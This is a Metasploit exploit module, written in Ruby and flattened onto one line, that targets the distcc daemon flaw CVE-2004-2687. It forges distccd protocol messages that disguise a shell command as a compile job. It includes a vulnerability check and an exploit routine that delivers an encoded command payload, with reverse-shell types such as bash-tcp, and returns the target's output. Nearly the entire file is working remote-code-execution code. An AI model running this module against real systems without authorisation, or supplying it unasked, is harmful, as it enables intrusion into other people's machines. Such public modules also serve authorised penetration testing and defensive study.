## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'DistCC Daemon Command Execution', 'Description' => %q{ This module uses a documented security weakness to execute arbitrary commands on any system running distccd. }, 'Author' => [ 'hdm' ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2004-2687'], [ 'OSVDB', '13378' ], [ 'URL', 'http://distcc.samba.org/security.html'], ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic perl ruby bash telnet openssl bash-tcp', } }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 01 2002' )) register_options( [ Opt::RPORT(3632) ], self.class) end def check r = rand_text_alphanumeric(10) connect sock.put(dist_cmd("sh", "-c", "echo #{r}")) dtag = rand_text_alphanumeric(10) sock.put("DOTI0000000A#{dtag}\n") err, out = read_output if out.index(r) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit connect distcmd = dist_cmd("sh", "-c", payload.encoded); sock.put(distcmd) dtag = rand_text_alphanumeric(10) sock.put("DOTI0000000A#{dtag}\n") err, out = read_output (err || "").split("\n") do |line| print_status("stderr: #{line}") end (out || "").split("\n") do |line| print_status("stdout: #{line}") end handler disconnect end def read_output res = sock.get_once(24, 5) if !(res and res.length == 24) print_status("The remote distccd did not reply to our request") disconnect return end # Check STDERR res = sock.get_once(4, 5) res = sock.get_once(8, 5) len = [res].pack("H*").unpack("N")[0] return [nil, nil] if not len if (len > 0) err = sock.get_once(len, 5) end # Check STDOUT res = sock.get_once(4, 5) res = sock.get_once(8, 5) len = [res].pack("H*").unpack("N")[0] return [err, nil] if not len if (len > 0) out = sock.get_once(len, 5) end return [err, out] end # Generate a distccd command def dist_cmd(*args) # Convince distccd that this is a compile args.concat(%w{# -c main.c -o main.o}) # Set distcc 'magic fairy dust' and argument count res = "DIST00000001" + sprintf("ARGC%.8x", args.length) # Set the command arguments args.each do |arg| res << sprintf("ARGV%.8x%s", arg.length, arg) end return res end end